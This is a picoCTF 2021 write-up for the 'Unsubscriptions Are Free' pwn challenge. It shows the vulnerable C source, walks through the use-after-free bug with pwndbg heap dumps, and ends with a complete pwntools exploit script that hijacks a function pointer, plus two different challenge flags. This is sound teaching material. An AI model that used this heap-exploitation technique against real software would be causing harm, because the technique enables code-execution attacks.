Unsubscriptions Are Free
Writeup for Unsubscriptions Are Free (pwn) - Pico CTF (2021) 💜
Video Walkthrough
Description
Check out my new video-game and spaghetti-eating streaming channel on Twixer!
Source
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr() {
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt", "r");
fgets(buf, FLAG_BUFFER, f);
fprintf(stdout, "%s\n", buf);
fflush(stdout);
}
char *getsline(void) {
getchar();
char *line = malloc(100), *linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if (line == NULL)
return NULL;
for (;;) {
c = fgetc(stdin);
if (c == EOF)
break;
if (--len == 0) {
len = lenmax;
char *linen = realloc(linep, lenmax *= 2);
if (linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if ((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd *obj) { (*obj->whatToDo)(); }
void s() {
printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p() {
puts("Membership pending... (There's also a super-subscription you can also "
"get for twice the price!)");
}
void m() { puts("Account created."); }
void leaveMessage() {
puts("I only read premium member messages but you can ");
puts("try anyways:");
char *msg = (char *)malloc(8);
read(0, msg, 8);
}
void i() {
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if (toupper(response) == 'Y') {
puts("Bye!");
free(user);
} else {
puts("Ok. Get premium membership please!");
}
}
void printMenu() {
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput() {
scanf(" %c", &choice);
choice = toupper(choice);
switch (choice) {
case 'S':
if (user) {
user->whatToDo = (void *)s;
} else {
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void *)p;
break;
case 'I':
user->whatToDo = (void *)i;
break;
case 'M':
user->whatToDo = (void *)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}
int main() {
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while (1) {
printMenu();
processInput();
// if(user){
doProcess(user);
//}
}
return 0;
}
Solution
Challenge name indicates a Use After Free (UAF) vulnerability.
Use-After-Free (UAF) is a vulnerability related to incorrect use of dynamic memory during program operation. If after freeing a memory location, a program does not clear the pointer to that memory, an attacker can use the error to hack the program.
Goal is to call the hahaexploitgobrrr
function, printing the flag.
main()
first mallocs a user
object* from the cmd
struct, containing a function pointer whatToDo
and a char pointer username
.
*32-bit binary, so the two pointers are 4 bytes each, and you would assume malloc(8)
. However, ghidra shows malloc(4)
because the code uses (cmd *)malloc(sizeof(user))
where user
is a 4 byte pointer. However, when we debug the program, we see a 16-byte chunk is assigned, so malloc(16)
.
main() then indefinitely loops:
printMenu()
- print menu optionsprocessInput()
- read user inputdoProcess(user)
- execute the current function pointed to byuser->whatToDo
When we select a menu option, e.g. S
the user->whatToDo
function pointer is updated, to point at the relevant function, e.g. s
:
(S) Leak hahaexploitgobrrr
address
(I) free()
the user
object
(M) Create account, sets user->username
(P) Print unimportant string
(L) Leave a message, reads 8 bytes into new chunk (malloc(8)
)
(E) Exit the program
Let's re-order these menu options into an exploit:
(S) Leak hahaexploitgobrrr
address
(I) free()
the user
object
(L) Leave a message, reads 8 bytes into new chunk (malloc(8)
)
Breakdown: We'll leak (and capture) the hahaexploitgobrrr
address. Next, we'll free the user object. Finally, we'll submit the hahaexploitgobrrr
address as a message. malloc(8)
will reuse the freed user chunk (UAF) and write the address into the user->whatToDo
function pointer, which is continously executed by doProcess(user)
.
We can set some breakpoints in GDB:
break *0x8048d6f
- Afteruser = (cmd *)malloc(sizeof(user))
inmain()
break *0x8048aff
- Afterfree(user)
ini()
break *0x8048a61
- Afterchar* msg = (char*)malloc(8)
inleaveMessage()
The first breakpoint shows the address of the user
chunk (0x95cd1a0
), returned to the EAX
by malloc.
─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
EAX 0x95cd1a0 ◂— 0x0
EBX 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
ECX 0x0
EDX 0x4
EDI 0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
ESI 0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
EBP 0xffafe2a8 ◂— 0x0
ESP 0xffafe290 ◂— 0x4
EIP 0x8048d6f (main+58) ◂— add esp, 0x10
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
â–º 0x8048d6f <main+58> add esp, 0x10
0x8048d72 <main+61> mov edx, eax
0x8048d74 <main+63> mov eax, user <0x804b060>
0x8048d7a <main+69> mov dword ptr [eax], edx
0x8048d7c <main+71> call printMenu <printMenu>
0x8048d81 <main+76> call processInput <processInput>
0x8048d86 <main+81> mov eax, user <0x804b060>
0x8048d8c <main+87> mov eax, dword ptr [eax]
0x8048d8e <main+89> sub esp, 0xc
0x8048d91 <main+92> push eax
0x8048d92 <main+93> call doProcess <doProcess>
The chunk size is 16.
0x11 is 17, but the 1 is a flag to indicate the previous chunk is not free.
pwndbg> x/8wx 0x95cd1a0 - 4
0x95cd19c: 0x00000011 0x00000000 0x00000000 0x00000000
0x95cd1ac: 0x00021e59 0x00000000 0x00000000 0x00000000
We'll create a user "crypto" and check the chunk again.
pwndbg> x/8wx 0x95cd1a0 - 4
0x95cd19c: 0x00000011 0x080489f6 0x095ce1c0 0x00000000
0x95cd1ac: 0x00001011 0x70797263 0x000a6f74 0x00000000
The next 4 bytes after the chunk size (0x080489f6
) hold the user->whatToDo
function pointer.
pwndbg> x 0x080489f6
0x80489f6 <m>: 0x53e58955
The next 4 bytes after that hold the user->username
char pointer.
pwndbg> x/gx 0x095ce1c0
0x95ce1c0: 0x000a6f7470797263
pwndbg> unhex a6f7470797263
otpyrc
Second breakpoint, after the user chunk has been freed.
─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
*EAX 0x0
EBX 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
*ECX 0x95cd010 ◂— 0x1
*EDX 0x0
EDI 0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
ESI 0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
EBP 0xffafe278 —▸ 0xffafe288 —▸ 0xffafe2a8 ◂— 0x0
*ESP 0xffafe250 —▸ 0x95cd1a0 ◂— 0x0
*EIP 0x8048aff (i+128) ◂— add esp, 0x10
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
â–º 0x8048aff <i+128> add esp, 0x10
0x8048b02 <i+131> jmp i+151 <i+151>
↓
0x8048b16 <i+151> nop
0x8048b17 <i+152> mov eax, dword ptr [ebp - 0xc]
0x8048b1a <i+155> xor eax, dword ptr gs:[0x14]
0x8048b21 <i+162> je i+169 <i+169>
↓
0x8048b28 <i+169> mov ebx, dword ptr [ebp - 4]
0x8048b2b <i+172> leave
0x8048b2c <i+173> ret
0x8048b2d <printMenu> push ebp
0x8048b2e <printMenu+1> mov ebp, esp
We can check the chunk data again.
pwndbg> x/8wx 0x95cd1a0 - 4
0x95cd19c: 0x00000011 0x00000000 0x095cd010 0x00000000
0x95cd1ac: 0x00001011 0x70790a59 0x000a6f74 0x00000000
Notice the user->whatToDo
function pointer is now empty because the first word in a free chunk holds the previous free chunk's address (prev_ptr). However, the username remains.
We can check the heap and see that our free chunk is in the tcache
.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x95cd008
Size: 0x191
Free chunk (tcache) | PREV_INUSE
Addr: 0x95cd198
Size: 0x11
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x95cd1a8
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x95ce1b8
Size: 0x71
Top chunk | PREV_INUSE
Addr: 0x95ce228
Size: 0x20dd9
Third breakpoint, after a new 8 byte chunk is allocated by malloc.
─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
*EAX 0x95cd1a0 ◂— 0x0
EBX 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
*ECX 0x20
EDX 0x0
EDI 0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
ESI 0xf7eb8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
*EBP 0xffafe288 —▸ 0xffafe298 —▸ 0xffafe2a8 ◂— 0x0
*ESP 0xffafe260 ◂— 0x8
*EIP 0x8048a61 (leaveMessage+64) ◂— add esp, 0x10
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
â–º 0x8048a61 <leaveMessage+64> add esp, 0x10
0x8048a64 <leaveMessage+67> mov dword ptr [ebp - 0xc], eax
0x8048a67 <leaveMessage+70> sub esp, 4
0x8048a6a <leaveMessage+73> push 8
0x8048a6c <leaveMessage+75> push dword ptr [ebp - 0xc]
0x8048a6f <leaveMessage+78> push 0
0x8048a71 <leaveMessage+80> call read@plt <read@plt>
0x8048a76 <leaveMessage+85> add esp, 0x10
0x8048a79 <leaveMessage+88> nop
0x8048a7a <leaveMessage+89> mov ebx, dword ptr [ebp - 4]
0x8048a7d <leaveMessage+92> leave
malloc(8)
has returned 0x95cd1a0
, the same address as our previous chunk. Hence we are using-after-free when we write our message. We submit the leaked hahaexploitgobrrr
function address, overwriting user->whatToDo
. The infinite loop in main executes doProcess(user)
, triggering the hahaexploitgobrrr
function and printing the flag.
python exploit.py REMOTE mercury.picoctf.net 61817
[+] Opening connection to mercury.picoctf.net on port 61817: Done
[*] leaked hahaexploitgobrrr() address: 0x80487d6
[!] picoCTF{d0ubl3_j30p4rdy_1e154727}
[*] Closed connection to mercury.picoctf.net port 61817
Solution
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x8048d6f
break *0x8048aff
break *0x8048a61
continue
'''.format(**locals())
# Binary filename
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# Create user (not needed, just for demo)
io.sendlineafter(b'(e)xit', b'M')
io.sendlineafter(b':', b'crypto')
# Leak memory (win address)
io.sendlineafter(b'(e)xit', b'S')
io.recvuntil(b'OOP! Memory leak...', drop=True)
leak = int(io.recvlineS(), 16)
info("leaked hahaexploitgobrrr() address: %#x", leak)
# Free the user
io.sendlineafter(b'(e)xit', b'I')
io.sendlineafter(b'?', b'Y')
# Leave a message (leaked address)
# The freed chunk will be reused
io.sendlineafter(b'(e)xit', b'L')
io.sendlineafter(b':', flat(leak))
# Got Flag?
warn(io.recvlines(2)[1].decode())
Flag: picoCTF{d0ubl3_j30p4rdy_ba307b82}
Last updated